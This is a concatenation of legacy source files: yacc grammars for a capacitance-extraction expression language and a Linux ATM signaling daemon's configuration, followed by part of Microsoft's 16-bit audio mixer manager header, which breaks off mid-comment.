dyncap_call : DYNCAP LPS vicin COMMA minmax COMMA terminal RPS
{
getcap_eval("dyncap", $3, $5, $7, ind0tmp, ind1tmp, indvar0, indvar1);
}
;
cap_call : CAPVAL LPS vicin COMMA minmax COMMA terminal RPS
{
getcap_eval("cap", $3, $5, $7, ind0tmp, ind1tmp, indvar0, indvar1);
}
;
vicin : NODE
{
$$ = 0;
}
| VICIN
{
$$ = 1;
}
;
minmax : MIN
{
$$ = MIN_CAP;
}
| MAX
{
$$ = MAX_CAP;
}
;
expr : /* empty */
| expr statcap_call
| expr dyncap_call
| expr cap_call
;
trm_index : /* empty */
{
strcpy (ind0tmp, "000");
strcpy (ind1tmp, "000");
indvar0 = FUNNOIND;
indvar1 = FUNNOIND;
}
| LSB index RSB
{
strcpy (ind0tmp, $2);
strcpy (ind1tmp, "000");
indvar0 = indvar;
indvar1 = FUNNOIND;
}
| trm_index LSB index RSB
{
strcpy (ind1tmp, $3);
indvar1 = indvar;
}
;
index : INTEGER
{
$$ = $1;
indvar = FUNINT;
}
| IDENTIFIER
{
$$ = $1;
indvar = FUNVAR;
}
;
name : IDENTIFIER
{
strcpy (name_buf, $1);
if (dmTestname (name_buf) == 1) {
if (!trunc_warn) {
fprintf (stderr, "warning: name(s) truncated to %d characters\n", (int)strlen (name_buf));
trunc_warn = 1;
}
}
$$ = name_buf;
}
;
%%
int yywrap ()
{
return (1);
}
|
<filename>snapgear_linux/lib/libatm/src/sigd/cfg_y.y
%{
/* cfg.y - configuration language */
/* Written 1995-1999 by <NAME>, EPFL-LRC/ICA */
#if HAVE_CONFIG_H
#include <config.h>
#endif
#include <string.h>
#include <ctype.h>
#include <limits.h>
#include "atm.h"
#include "atmd.h"
#include "proto.h"
#include "io.h"
#include "trace.h"
#include "policy.h"
static RULE *rule;
static SIG_ENTITY *curr_sig = &_entity;
static int hex2num(char digit)
{
if (isdigit(digit)) return digit-'0';
if (islower(digit)) return toupper(digit)-'A'+10;
return digit-'A'+10;
}
static void put_address(char *address)
{
char *mask;
mask = strchr(address,'/');
if (mask) *mask++ = 0;
if (text2atm(address,(struct sockaddr *) &rule->addr,sizeof(rule->addr),
T2A_SVC | T2A_WILDCARD | T2A_NAME | T2A_LOCAL) < 0) {
yyerror("invalid address");
return;
}
if (!mask) rule->mask = -1;
else rule->mask = strtol(mask,NULL,10);
add_rule(rule);
}
%}
%union {
int num;
char *str;
struct sockaddr_atmpvc pvc;
};
%token TOK_LEVEL TOK_DEBUG TOK_INFO TOK_WARN TOK_ERROR TOK_FATAL
%token TOK_SIG TOK_UNI30 TOK_UNI31 TOK_UNI40 TOK_Q2963_1 TOK_SAAL
%token TOK_VC TOK_IO TOK_MODE TOK_USER TOK_NET TOK_SWITCH TOK_VPCI
%token TOK_ITF TOK_PCR TOK_TRACE TOK_POLICY TOK_ALLOW TOK_REJECT
%token TOK_ENTITY TOK_DEFAULT
%token <num> TOK_NUMBER TOK_MAX_RATE
%token <str> TOK_DUMP_DIR TOK_LOGFILE TOK_QOS TOK_FROM TOK_TO TOK_ROUTE
%token <pvc> TOK_PVC
%type <num> level opt_trace_size action
%%
all:
global local
;
global:
| item global
;
local:
| entity local
{
if (!curr_sig->uni)
curr_sig->uni =
#if defined(UNI30) || defined(DYNAMIC_UNI)
S_UNI30
#endif
#ifdef UNI31
S_UNI31
#ifdef ALLOW_UNI30
| S_UNI30
#endif
#endif
#ifdef UNI40
S_UNI40
#ifdef Q2963_1
| S_Q2963_1
#endif
#endif
;
}
;
item:
TOK_LEVEL level
{
set_verbosity(NULL,$2);
}
| TOK_SIG sig
| TOK_SAAL saal
| TOK_IO io
| TOK_DEBUG debug
| TOK_POLICY policy
;
entity:
TOK_ENTITY TOK_PVC
{
SIG_ENTITY *sig,**walk;
if (atmpvc_addr_in_use(_entity.signaling_pvc))
yyerror("can't use io vc and entity ... in the same "
"configuration");
if (entities == &_entity) entities = NULL;
for (sig = entities; sig; sig = sig->next)
if (atm_equal((struct sockaddr *) &sig->signaling_pvc,
(struct sockaddr *) &$2,0,0))
yyerror("duplicate PVC address %d.%d.%d",S_PVC(sig));
curr_sig = alloc_t(SIG_ENTITY);
*curr_sig = _entity;
curr_sig->signaling_pvc = $2;
curr_sig->next = NULL;
for (walk = &entities; *walk; walk = &(*walk)->next);
*walk = curr_sig;
}
opt_options
;
opt_options:
| '{' options '}'
;
options:
| option options
;
option:
TOK_VPCI TOK_NUMBER TOK_ITF TOK_NUMBER
{
enter_vpci(curr_sig,$2,$4);
}
| TOK_MODE mode
| TOK_QOS
{
curr_sig->sig_qos = $1;
}
| TOK_MAX_RATE
{
curr_sig->max_rate = $1;
}
| TOK_ROUTE
{
struct sockaddr_atmsvc addr;
char *mask;
mask = strchr($1,'/');
if (mask) *mask++ = 0;
if (text2atm($1,(struct sockaddr *) &addr,sizeof(addr),
T2A_SVC | T2A_WILDCARD | T2A_NAME | T2A_LOCAL) < 0) {
yyerror("invalid address");
return;
}
add_route(curr_sig,&addr,mask ? strtol(mask,NULL,10) : INT_MAX);
}
| TOK_DEFAULT
{
add_route(curr_sig,NULL,0);
}
;
sig:
sig_item
| '{' sig_items '}'
;
sig_items:
| sig_item sig_items
;
saal:
saal_item
| '{' saal_items '}'
;
saal_items:
| saal_item saal_items
;
io:
io_item
| '{' io_items '}'
;
io_items:
| io_item io_items
;
debug:
debug_item
| '{' debug_items '}'
;
debug_items:
| debug_item debug_items
;
policy:
policy_item
| '{' policy_items '}'
;
policy_items:
| policy_item policy_items
;
sig_item:
TOK_LEVEL level
{
set_verbosity("UNI",$2);
set_verbosity("KERNEL",$2);
set_verbosity("SAP",$2);
}
| TOK_VPCI TOK_NUMBER TOK_ITF TOK_NUMBER
{
enter_vpci(curr_sig,$2,$4);
}
| TOK_UNI30
{
#if defined(UNI30) || defined(ALLOW_UNI30) || defined(DYNAMIC_UNI)
if (curr_sig->uni & ~S_UNI31) yyerror("UNI mode is already set");
curr_sig->uni |= S_UNI30;
#else
yyerror("Sorry, not supported yet");
#endif
}
| TOK_UNI31
{
#if defined(UNI31) || defined(ALLOW_UNI30) || defined(DYNAMIC_UNI)
if (curr_sig->uni & ~S_UNI30) yyerror("UNI mode is already set");
curr_sig->uni |= S_UNI31;
#else
yyerror("Sorry, not supported yet");
#endif
}
| TOK_UNI40
{
#if defined(UNI40) || defined(DYNAMIC_UNI)
if (curr_sig->uni) yyerror("UNI mode is already set");
curr_sig->uni = S_UNI40;
#else
yyerror("Sorry, not supported yet");
#endif
}
| TOK_Q2963_1
{
#if defined(Q2963_1) || defined(DYNAMIC_UNI)
if (!(curr_sig->uni & S_UNI40)) yyerror("Incompatible UNI mode");
curr_sig->uni |= S_Q2963_1;
#else
yyerror("Sorry, not supported yet");
#endif
}
| TOK_NET
{
yywarn("sig net is obsolete, please use sig mode net instead");
curr_sig->mode = sm_net;
}
| TOK_MODE mode
;
saal_item:
TOK_LEVEL level
{
set_verbosity("SSCF",$2);
set_verbosity("SSCOP",$2);
}
;
io_item:
TOK_LEVEL level
{
set_verbosity("IO",$2);
}
| TOK_VC TOK_PVC
{
curr_sig->signaling_pvc = $2;
}
| TOK_PCR TOK_NUMBER
{
yywarn("io pcr is obsolete, please use io qos instead");
curr_sig->sig_pcr = $2;
}
| TOK_QOS
{
curr_sig->sig_qos = $1;
}
| TOK_MAX_RATE
{
curr_sig->max_rate = $1;
}
;
debug_item:
TOK_LEVEL level
{
set_verbosity(NULL,$2);
}
| TOK_DUMP_DIR
{
dump_dir = $1;
if (!trace_size) trace_size = DEFAULT_TRACE_SIZE;
}
| TOK_LOGFILE
{
set_logfile($1);
}
| TOK_TRACE opt_trace_size
{
trace_size = $2;
}
;
opt_trace_size:
{
$$ = DEFAULT_TRACE_SIZE;
}
| TOK_NUMBER
{
$$ = $1;
}
;
level:
TOK_DEBUG
{
$$ = DIAG_DEBUG;
}
| TOK_INFO
{
$$ = DIAG_INFO;
}
| TOK_WARN
{
$$ = DIAG_WARN;
}
| TOK_ERROR
{
$$ = DIAG_ERROR;
}
| TOK_FATAL
{
$$ = DIAG_FATAL;
}
;
mode:
TOK_USER
{
curr_sig->mode = sm_user;
}
| TOK_NET
{
curr_sig->mode = sm_net;
}
| TOK_SWITCH
{
curr_sig->mode = sm_switch;
}
;
policy_item:
TOK_LEVEL level
{
set_verbosity("POLICY",$2);
}
| action
{
rule = alloc_t(RULE);
rule->type = $1;
}
direction
;
action:
TOK_ALLOW
{
$$ = ACL_ALLOW;
}
| TOK_REJECT
{
$$ = ACL_REJECT;
}
;
direction:
TOK_FROM
{
rule->type |= ACL_IN;
put_address($1);
}
| TOK_TO
{
rule->type |= ACL_OUT;
put_address($1);
}
;
|
<reponame>npocmaka/Windows-Server-2003<gh_stars>10-100
//==========================================================================;
//
// msmixmgr.h -- Include file for Microsoft Audio Mixer Manager API's
//
// Version 3.10 (16 Bit)
//
// Copyright (C) 1992, 1993 Microsoft Corporation. All Rights Reserved.
//
//--------------------------------------------------------------------------;
//
// Define: Prevent inclusion of:
// -------------- --------------------------------------------------------
// MMNOMIXER Mixer application development support
// MMNOMIXERDEV Mixer driver development support
//
//--------------------------------------------------------------------------;
//
// NOTE: mmsystem.h (and mmddk.h for drivers) must be included _before_
// msmixmgr.h is included.
//
// For mixer applications: For mixer drivers:
//
// #include <windows.h> #include <windows.h>
// #include <windowsx.h> #include <windowsx.h>
// #include <mmsystem.h> #include <mmsystem.h>
// #include <msmixmgr.h> #include <mmddk.h>
// . . . #include <msmixmgr.h>
// . . .
//
//==========================================================================;
#ifndef _INC_MSMIXMGR
#define _INC_MSMIXMGR // #defined if msmixmgr.h was included
#ifndef RC_INVOKED
#pragma pack(1) // assume byte packing throughout
#endif
#ifdef __cplusplus
extern "C" // assume C declarations for C++
{
#endif // __cplusplus
//
//
//
//
#ifndef _MMRESULT_
#define _MMRESULT_
typedef UINT MMRESULT;
#endif
#ifndef _MMVERSION_
#define _MMVERSION_
typedef UINT MMVERSION;
#endif
//==========================================================================;
//
// Mixer Application Definitions
//
//
//
//==========================================================================;
#ifdef _INC_MMSYSTEM
#ifndef MMNOMIXER
#ifndef MM_MIXM_LINE_CHANGE
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
//
//
//
//
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
#ifdef WIN32
#define MIXAPI APIENTRY
#else
#ifdef _WINDLL
#define MIXAPI _far _pascal _loadds
#else
#define MIXAPI _far _pascal
#endif
#endif
//
// mixer callback notification messages. these messages are sent to all
// clients that have an open instance to a mixer device and have requested
// notifications by supplying a callback.
//
// CALLBACK_WINDOW:
//
// uMsg = MM_MIXM_LINE_CHANGE
// wParam = hmx
// lParam = dwLineID
//
// uMsg = MM_MIXM_CONTROL_CHANGE
// wParam = hmx
// lParam = dwControlID
//
//
#define MM_MIXM_LINE_CHANGE 0x3D0 // mixer line change notify
#define MM_MIXM_CONTROL_CHANGE 0x3D1 // mixer control change notify
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
//
//
//
//
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
DECLARE_HANDLE(HMIXEROBJ);
typedef HMIXEROBJ FAR *LPHMIXEROBJ;
DECLARE_HANDLE(HMIXER);
typedef HMIXER FAR *LPHMIXER;
//
//
//
#define MIXER_SHORT_NAME_CHARS 16
#define MIXER_LONG_NAME_CHARS 64
//
// MMRESULT error return values specific to the mixer API
//
//
#define MIXERR_BASE 1024
#define MIXERR_INVALLINE (MIXERR_BASE + 0)
#define MIXERR_INVALCONTROL (MIXERR_BASE + 1)
#define MIXERR_INVALVALUE (MIXERR_BASE + 2)
#define MIXERR_LASTERROR (MIXERR_BASE + 2)
//
//
//
#define MIXER_OBJECTF_HANDLE 0x80000000L
#define MIXER_OBJECTF_MIXER 0x00000000L
#define MIXER_OBJECTF_HMIXER (MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_MIXER)
#define MIXER_OBJECTF_WAVEOUT 0x10000000L
#define MIXER_OBJECTF_HWAVEOUT (MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_WAVEOUT)
#define MIXER_OBJECTF_WAVEIN 0x20000000L
#define MIXER_OBJECTF_HWAVEIN (MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_WAVEIN)
#define MIXER_OBJECTF_MIDIOUT 0x30000000L
#define MIXER_OBJECTF_HMIDIOUT (MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_MIDIOUT)
#define MIXER_OBJECTF_MIDIIN 0x40000000L
#define MIXER_OBJECTF_HMIDIIN (MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_MIDIIN)
#define MIXER_OBJECTF_AUX 0x50000000L
#define MIXER_OBJECTF_TYPEMASK 0xF0000000L // ;Internal
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
//
// mixerGetNumDevs()
//
//
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
UINT MIXAPI mixerGetNumDevs
(
void
);
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
//
// mixerGetDevCaps()
//
//
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
typedef struct tMIXERCAPS
{
WORD wMid; // manufacturer id
WORD wPid; // product id
MMVERSION vDriverVersion; // version of the driver
char szPname[MAXPNAMELEN]; // product name
DWORD fdwSupport; // misc. support bits
DWORD cDestinations; // count of destinations
} MIXERCAPS;
typedef MIXERCAPS *PMIXERCAPS;
typedef MIXERCAPS FAR *LPMIXERCAPS;
#define MIXERCAPS_SUPPORTF_xxx 0x00000000L // ;Internal
//
//
//
MMRESULT MIXAPI mixerGetDevCaps
(
UINT uMxId,
LPMIXERCAPS pmxcaps,
UINT cbmxcaps
);
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
//
// mixerGetID()
//
//
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
MMRESULT MIXAPI mixerGetID
(
HMIXEROBJ hmxobj,
UINT FAR *puMxId,
DWORD fdwId
);
#define MIXER_GETIDF_VALID (MIXER_OBJECTF_TYPEMASK) // ;Internal
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
//
// mixerOpen()
//
//
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
MMRESULT MIXAPI mixerOpen
(
LPHMIXER phmx,
UINT uMxId,
DWORD dwCallback,
DWORD dwInstance,
DWORD fdwOpen
);
#define MIXER_OPENF_VALID (MIXER_OBJECTF_TYPEMASK | /* ;Internal */ \
CALLBACK_TYPEMASK) // ;Internal
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
//
// mixerClose()
//
//
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
MMRESULT MIXAPI mixerClose
(
HMIXER hmx
);
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
//
// mixerMessage()
//
//
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
DWORD MIXAPI mixerMessage
(
HMIXER hmx,
UINT uMsg,
DWORD dwParam1,
DWORD dwParam2
);
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
//
// mixerGetLineInfo()
//
//
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
typedef struct tMIXERLINE
{
DWORD cbStruct; // size of MIXERLINE structure
DWORD dwDestination; // zero based destination index
DWORD dwSource; // zero based source index (if source)
DWORD dwLineID; // unique line id for mixer device
DWORD fdwLine; // state/information about line
DWORD dwUser; // driver specific information
DWORD dwComponentType; // component type line connects to
DWORD cChannels; // number of channels line supports
DWORD cConnections; // number of connections [possible]
DWORD cControls; // number of controls at this line
char szShortName[MIXER_SHORT_NAME_CHARS];
char szName[MIXER_LONG_NAME_CHARS];
struct
{
DWORD dwType; // MIXERLINE_TARGETTYPE_xxxx
DWORD dwDeviceID; // target device ID of device type
WORD wMid; // of target device
WORD wPid; // "
MMVERSION vDriverVersion; // "
char szPname[MAXPNAMELEN]; // "
} Target;
} MIXERLINE;
typedef MIXERLINE *PMIXERLINE;
typedef MIXERLINE FAR *LPMIXERLINE;
//
// MIXERLINE.fdwLine
//
//
#define MIXERLINE_LINEF_ACTIVE 0x00000001L
#define MIXERLINE_LINEF_DISCONNECTED 0x00008000L
#define MIXERLINE_LINEF_SOURCE 0x80000000L
//
// MIXERLINE.dwComponentType
//
// component types for destinations and sources
//
//
#define MLCT_DST_FIRST 0x00000000L
#define MLCT_DST_UNDEFINED (MLCT_DST_FIRST + 0)
#define MLCT_DST_DIGITAL (MLCT_DST_FIRST + 1)
#define MLCT_DST_LINE (MLCT_DST_FIRST + 2)
#define MLCT_DST_MONITOR (MLCT_DST_FIRST + 3)
#define MLCT_DST_SPEAKERS (MLCT_DST_FIRST + 4)
#define MLCT_DST_HEADPHONES (MLCT_DST_FIRST + 5)
#define MLCT_DST_TELEPHONE (MLCT_DST_FIRST + 6)
#define MLCT_DST_WAVEIN (MLCT_DST_FIRST + 7)
#define MLCT_DST_VOICEIN (MLCT_DST_FIRST + 8)
#define MLCT_DST_LAST (MLCT_DST_FIRST + 8)
#define MLCT_SRC_FIRST 0x00001000L
#define MLCT_SRC_UNDEFINED (MLCT_SRC_FIRST + 0)
#define MLCT_SRC_DIGITAL (MLCT_SRC_FIRST + 1)
#define MLCT_SRC_LINE (MLCT_SRC_FIRST + 2)
#define MLCT_SRC_MICROPHONE (MLCT_SRC_FIRST + 3)
#define MLCT_SRC_SYNTHESIZER (MLCT_SRC_FIRST + 4)
#define MLCT_SRC_COMPACTDISC (MLCT_SRC_FIRST + 5)
#define MLCT_SRC_TELEPHONE (MLCT_SRC_FIRST + 6)
#define MLCT_SRC_PCSPEAKER (MLCT_SRC_FIRST + 7)
#define MLCT_SRC_WAVEOUT (MLCT_SRC_FIRST + 8)
#define MLCT_SRC_AUXILIARY (MLCT_SRC_FIRST + 9)
#define MLCT_SRC_ANALOG (MLCT_SRC_FIRST + 10)
#define MLCT_SRC_LAST (MLCT_SRC_FIRST + 10)
//
// MIXERLINE.Target.dwType
//
//
#define MIXERLINE_TARGETTYPE_UNDEFINED 0
#define MIXERLINE_TARGETTYPE_WAVEOUT 1
#define MIXERLINE_TARGETTYPE_WAVEIN 2
#define MIXERLINE_TARGETTYPE_MIDIOUT 3
#define MIXERLINE_TARGETTYPE_MIDIIN 4
#define MIXERLINE_TARGETTYPE_AUX 5
//
//
//
//
MMRESULT MIXAPI mixerGetLineInfo
(
HMIXEROBJ hmxobj,
LPMIXERLINE pmxl,
DWORD fdwInfo
);
#define M_GLINFOF_DESTINATION 0x00000000L
#define M_GLINFOF_SOURCE 0x00000001L
#define M_GLINFOF_LINEID 0x00000002L
#define M_GLINFOF_COMPONENTTYPE 0x00000003L
#define M_GLINFOF_TARGETTYPE 0x00000004L
#define M_GLINFOF_QUERYMASK 0x0000000FL
#define M_GLINFOF_VALID (MIXER_OBJECTF_TYPEMASK | /* ;Internal */ \
M_GLINFOF_QUERYMASK) // ;Internal
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
//
// mixerGetLineControls()
//
//
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
//
// MIXERCONTROL
//
//
typedef struct tMIXERCONTROL
{
DWORD cbStruct; // size in bytes of MIXERCONTROL
DWORD dwControlID; // unique control id for mixer device
DWORD dwControlType; // MC_CONTROLTYPE_xxx
DWORD fdwControl; // MC_CONTROLF_xxx
DWORD cMultipleItems; // if MC_CONTROLF_MULTIPLE set
char szShortName[MIXER_SHORT_NAME_CHARS];
char szName[MIXER_LONG_NAME_CHARS];
union
{
struct
{
LONG lMinimum; // signed minimum for this control
LONG lMaximum; // signed maximum for this control
};
struct
{
DWORD dwMinimum; // unsigned minimum for this control
DWORD dwMaximum; // unsigned maximum for this control
};
DWORD dwReserved[6];
} Bounds;
union
{
DWORD cSteps; // # of steps between min & max
DWORD cbCustomData; // size in bytes of custom data
DWORD dwReserved[6]; // !!! needed? we have cbStruct....
} Metrics;
} MIXERCONTROL;
typedef MIXERCONTROL *PMIXERCONTROL;
typedef MIXERCONTROL FAR *LPMIXERCONTROL;
//
// MIXERCONTROL.fdwControl
//
//
#define MC_CONTROLF_UNIFORM 0x00000001L
#define MC_CONTROLF_MULTIPLE 0x00000002L
#define MC_CONTROLF_DISABLED 0x80000000L
#define MC_CONTROLF_VALID (MC_CONTROLF_UNIFORM | /* ;Internal */ \
MC_CONTROLF_MULTIPLE | /* ;Internal */ \
MC_CONTROLF_DISABLED) /* ;Internal */
//
// MC_CONTROLTYPE_xxx building block defines
//
//
#define MC_CT_CLASS_MASK 0xF0000000L
#define MC_CT_CLASS_CUSTOM 0x00000000L
#define MC_CT_CLASS_METER 0x10000000L
#define MC_CT_CLASS_SWITCH 0x20000000L
#define MC_CT_CLASS_NUMBER 0x30000000L
#define MC_CT_CLASS_SLIDER 0x40000000L
#define MC_CT_CLASS_FADER 0x50000000L
#define MC_CT_CLASS_TIME 0x60000000L
#define MC_CT_CLASS_LIST 0x70000000L
#define MC_CT_SUBCLASS_MASK 0x0F000000L
#define MC_CT_SC_SWITCH_BOOLEAN 0x00000000L
#define MC_CT_SC_SWITCH_BUTTON 0x01000000L
#define MC_CT_SC_METER_POLLED 0x00000000L
#define MC_CT_SC_TIME_MICROSECS 0x00000000L
#define MC_CT_SC_TIME_MILLISECS 0x01000000L
#define MC_CT_SC_LIST_SINGLE 0x00000000L
#define MC_CT_SC_LIST_MULTIPLE 0x01000000L
#define MC_CT_UNITS_MASK 0x00FF0000L
#define MC_CT_UNITS_CUSTOM 0x00000000L
#define MC_CT_UNITS_BOOLEAN 0x00010000L
#define MC_CT_UNITS_SIGNED 0x00020000L
#define MC_CT_UNITS_UNSIGNED 0x00030000L
#define MC_CT_UNITS_DECIBELS 0x00040000L // in 10ths
#define MC_CT_UNITS_PERCENT 0x00050000L // in 10ths
//
// MIXERCONTROL.dwControlType
//
//
// Custom Controls
//
//
#define MC_CONTROLTYPE_CUSTOM (MC_CT_CLASS_CUSTOM | MC_CT_UNITS_CUSTOM)
//
// Meters (Boolean)
//
// simply shows 'on or off' with the Boolean type
//
#define MC_CONTROLTYPE_BOOLEANMETER (MC_CT_CLASS_METER | MC_CT_SC_METER_POLLED | MC_CT_UNITS_BOOLEAN)
//
// Meters (signed)
//
// MIXERCONTROL.Bounds.lMinimum = min
// MIXERCONTROL.Bounds.lMaximum = max
//
// signed meters are meant for displaying levels that have a signed nature.
// there is no requirment for the values above and below zero to be
// equal in magnitude. that is, it is 'ok' to have a range from, say, -3
// to 12. however, the standard defined signed meter types may have
// restrictions (such as the peakmeter).
//
// MC_CONTROLTYPE_PEAKMETER: a peak meter tells the monitoring
// application the peak value reached (and phase) of a line (normally
// wave input and output) over a small period of time. THIS IS NOT VU!
// the bounds are fixed:
//
// MIXERCONTROL.Bounds.lMinimum = -32768 ALWAYS!
// MIXERCONTROL.Bounds.lMaximum = 32767 ALWAYS!
//
// so 8 bit and 24 bit samples must be scaled appropriately. this is so
// an application can display a 'bouncing blinky light' for a user and
// also monitor a line for clipping. remember that 8 bit samples must
// be converted to signed values (by the mixer driver)!
//
//
// NOTE! meters are read only controls. also, a meter should only be
// 'active' when the line it is associated with is active (see fdwLine
// in MIXERLINE). it is NOT an error to read a meter that is not active--
// the mixer driver should simply return 'no value' states (usually zero).
// but it may be useful to stop monitoring a meter if the line is not
// active...
//
#define MC_CONTROLTYPE_SIGNEDMETER (MC_CT_CLASS_METER | MC_CT_SC_METER_POLLED | MC_CT_UNITS_SIGNED)
#define MC_CONTROLTYPE_PEAKMETER (MC_CONTROLTYPE_SIGNEDMETER + 1)
//
// Meters (unsigned)
//
// MIXERCONTROL.Bounds.dwMinimum = min
// MIXERCONTROL.Bounds.dwMaximum = max
//
// unsigned meters are meant for displaying levels that have an unsigned
// nature. there is no requirment for the values to be based at zero.
// that is, it is 'ok' to have a range from, say, 8 to 42. however, the
// standard defined unsigned meter types may have restrictions.
//
//
// NOTE! meters are read only controls. also, a meter should only be
// 'active' when the line it is associated with is active (see fdwLine
// in MIXERLINE). it is NOT an error to read a meter that is not active--
// the mixer driver should simply return 'no value' states (usually zero).
// but it may be useful to stop monitoring a meter if the line is not
// active...
//
#define MC_CONTROLTYPE_UNSIGNEDMETER (MC_CT_CLASS_METER | MC_CT_SC_METER_POLLED | MC_CT_UNITS_UNSIGNED)
//
// Switches (Boolean)
//
// MIXERCONTROL.Bounds.lMinimum = ignored (though should be zero)
// MIXERCONTROL.Bounds.lMaximum = ignored (though should be one)
//
// Boolean switches are for enabling/disabling things. they are either
// on (non-zero for fValue, 1 should be used) or off (zero for fValue).
// a few standard types are defined in case an application wants to search
// for a specific type of switch (like mute)--and also to allow a different
// looking control to be used (say for ON/OFF vs a generic Boolean).
//
//
#define MC_CONTROLTYPE_BOOLEAN (MC_CT_CLASS_SWITCH | MC_CT_SC_SWITCH_BOOLEAN | MC_CT_UNITS_BOOLEAN)
#define MC_CONTROLTYPE_ONOFF (MC_CONTROLTYPE_BOOLEAN + 1)
#define MC_CONTROLTYPE_MUTE (MC_CONTROLTYPE_BOOLEAN + 2)
#define MC_CONTROLTYPE_MONO (MC_CONTROLTYPE_BOOLEAN + 3)
#define MC_CONTROLTYPE_LOUDNESS (MC_CONTROLTYPE_BOOLEAN + 4)
#define MC_CONTROLTYPE_STEREOENH (MC_CONTROLTYPE_BOOLEAN + 5)
//
// a button switch is 'write only' and simply signals the driver to do
// something. an example is a 'Calibrate' button like the one in the
// existing Turtle Beach MultiSound recording prep utility. an application
// sets the fValue to TRUE for all buttons that should be pressed. if
// fValue is FALSE, no action will be taken. reading a button's value will
// always return FALSE (not depressed).
//
#define MC_CONTROLTYPE_BUTTON (MC_CT_CLASS_SWITCH | MC_CT_SC_SWITCH_BUTTON | MC_CT_UNITS_BOOLEAN)
//
// Number (signed integer)
//
//
#define MC_CONTROLTYPE_SIGNED (MC_CT_CLASS_NUMBER | MC_CT_UNITS_SIGNED)
//
// the units are in 10ths of 1 decibel
//
//
#define MC_CONTROLTYPE_DECIBELS (MC_CT_CLASS_NUMBER | MC_CT_UNITS_DECIBELS)
//
// Number (usigned integer)
//
//
#define MC_CONTROLTYPE_UNSIGNED (MC_CT_CLASS_NUMBER | MC_CT_UNITS_UNSIGNED)
//
// the units are in 10ths of 1 percent
//
#define MC_CONTROLTYPE_PERCENT (MC_CT_CLASS_NUMBER | MC_CT_UNITS_PERCENT)
//
// Sliders (signed integer)
//
// sliders are meant 'positioning' type controls (such as panning).
// the generic slider must have lMinimum, lMaximum, and cSteps filled
// in--also note that there is no restriction on these values (see
// signed meters above for more).
//
//
// MC_CONTROLTYPE_PAN: this is meant to be a real simple pan
// for stereo lines. the Bounds are fixed to be -32768 to 32767 with 0
// being dead center. these values are LINEAR and there are no units
// (-32768 = extreme left, 32767 = extreme right).
//
// if an application wants to display a scrollbar that does not contain
// a bunch of 'dead space', then the scrollbar range should be set to
// MIXERCONTROL.Metrics.cSteps and lValue should be scaled appropriately
// with MulDiv.
//
// MIXERCONTROL.Bounds.lMinimum = -32768 ALWAYS!
// MIXERCONTROL.Bounds.lMaximum = 32767 ALWAYS!
// MIXERCONTROL.Metrics.cSteps = number of steps for range.
//
//
// MC_CONTROLTYPE_QSOUNDPAN: the initial version of Q-Sound (tm,
// etc by Archer Communications) defines 'Q-Space' as a sortof semi-circle
// with 33 positions (0 = extreme left, 33 = extreme right, 16 = center).
// in order to work with our 'slider position' concept, we shift these
// values to -15 = extreme left, 15 = extreme right, 0 = center.
//
// MIXERCONTROL.Bounds.lMinimum = -15 ALWAYS!
// MIXERCONTROL.Bounds.lMaximum = 15 ALWAYS!
// MIXERCONTROL.Metrics.cSteps = 1 ALWAYS!
//
//
#define MC_CONTROLTYPE_SLIDER (MC_CT_CLASS_SLIDER | MC_CT_UNITS_SIGNED)
#define MC_CONTROLTYPE_PAN (MC_CONTROLTYPE_SLIDER + 1)
#define MC_CONTROLTYPE_QSOUNDPAN (MC_CONTROLTYPE_SLIDER + 2)
//
// Simple Faders (unsigned integer)
//
// MIXERCONTROL.Bounds.dwMinimum = 0 ALWAYS!
// MIXERCONTROL.Bounds.dwMaximum = 65535 ALWAYS!
//
// MIXERCONTROL.Metrics.cSteps = number of steps for range.
//
// these faders are meant to be as simple as possible for an application
// to use. the Bounds are fixed to be 0 to 0xFFFF with 0x8000 being half
// volume/level. these values are LINEAR and there are no units. 0 is
// minimum volume/level, 0xFFFF is maximum.
//
// if an application wants to display a scrollbar that does not contain
// a bunch of 'dead space', then the scrollbar range should be set to
// MIXERCONTROL.Metrics.cSteps and dwValue should be scaled appropriately
// with MulDiv.
//
#define MC_CONTROLTYPE_FADER (MC_CT_CLASS_FADER | MC_CT_UNITS_UNSIGNED)
#define MC_CONTROLTYPE_VOLUME (MC_CONTROLTYPE_FADER + 1)
#define MC_CONTROLTYPE_BASS (MC_CONTROLTYPE_FADER + 2)
#define MC_CONTROLTYPE_TREBLE (MC_CONTROLTYPE_FADER + 3)
#define MC_CONTROLTYPE_EQUALIZER (MC_CONTROLTYPE_FADER + 4)
//
// List (single select)
//
// MIXERCONTROL.cMultipleItems = number of items in list
//
// M_GCDSF_LISTTEXT should be used to get the text
// for each item.
//
// MIXERCONTROLDETAILS_BOOLEAN should be used to set and retrieve
// what item is selected (fValue = TRUE if selected).
//
// the generic single select lists can be used for many things. some
// examples are 'Effects'. a mixer driver could provide a list of
// different effects that could be applied like
//
